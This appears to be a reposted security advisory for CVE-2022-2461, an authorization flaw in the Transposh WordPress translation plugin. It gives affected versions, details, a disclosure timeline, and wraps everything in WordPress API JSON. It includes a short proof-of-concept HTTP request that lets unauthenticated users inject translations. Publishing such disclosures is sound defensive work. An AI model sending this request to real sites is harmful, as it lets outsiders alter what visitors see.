RCE Security Advisory
\nhttps:\/\/www.rcesecurity.com<\/p>\n
1. ADVISORY INFORMATION
\n=======================
\nProduct: Transposh WordPress Translation
\nVendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/
\nType: Incorrect Authorization [CWE-863]\nDate found: 2022-07-13
\nDate published: 2022-07-22
\nCVSSv3 Score: 7.5 (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:H\/A:N)
\nCVE: CVE-2022-2461<\/p>\n
2. CREDITS
\n==========
\nThis vulnerability was discovered and researched by Julien Ahrens from
\nRCE Security.<\/p>\n
3. VERSIONS AFFECTED
\n====================
\nTransposh WordPress Translation 1.0.8.1 and below<\/p>\n
4. INTRODUCTION
\n===============
\nTransposh translation filter for WordPress offers a unique approach to blog
\ntranslation. It allows your blog to combine automatic translation with human
\ntranslation aided by your users with an easy to use in-context interface.<\/p>\n
(from the vendor’s homepage)<\/p>\n
5. VULNERABILITY DETAILS
\n========================
\nWhen installed Transposh comes with a set of pre-configured options, one of these
\nis the “Who can translate” setting under the “Settings” tab, which by default
\nallows “Anonymous” users to add translations via the plugin’s “tp_translation”
\najax action.<\/p>\n
Successful exploits can allow an unauthenticated attacker to add translations to
\nthe WordPress site and thereby influence what is actually shown on the site.<\/p>\n
6. PROOF OF CONCEPT
\n===================
\nThe following Proof-of-Concept adds a new translation<\/p>\n
POST \/wp-admin\/admin-ajax.php HTTP\/2
\nHost: [host]\nContent-Length: 75
\nCache-Control: max-age=0
\nUpgrade-Insecure-Requests: 1
\nContent-Type: application\/x-www-form-urlencoded
\nUser-Agent: Mozilla\/5.0<\/p>\n
action=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com<\/p>\n
7. SOLUTION
\n===========
\nNone. Remove the plugin to prevent exploitation.<\/p>\n
8. REPORT TIMELINE
\n==================
\n2022-07-13: Discovery of the vulnerability
\n2022-07-13: CVE requested from WPScan (CNA)
\n2022-07-18: No response from WPScan
\n2022-07-18: CVE requested from Wordfence (CNA) instead
\n2022-07-18: Sent note to vendor
\n2022-07-18: Wordfence assigns CVE-2022-2461
\n2022-07-20: Since there are currently no plans to provide fixes at all:
\n2022-07-22: Public disclosure<\/p>\n
9. REFERENCES
\n=============
\nhttps:\/\/github.com\/MrTuxracer\/advisories
\nhttps:\/\/www.rcesecurity.com\/2022\/07\/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS\/<\/p>\n","protected":false},"excerpt":{"rendered":"
RCE Security Advisory https:\/\/www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/ Type: Incorrect Authorization [CWE-863] Date found: 2022-07-13 Date published: 2022-07-22 CVSSv3 Score: 7.5 (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:H\/A:N) CVE: CVE-2022-2461 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28580","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28580"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28580\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}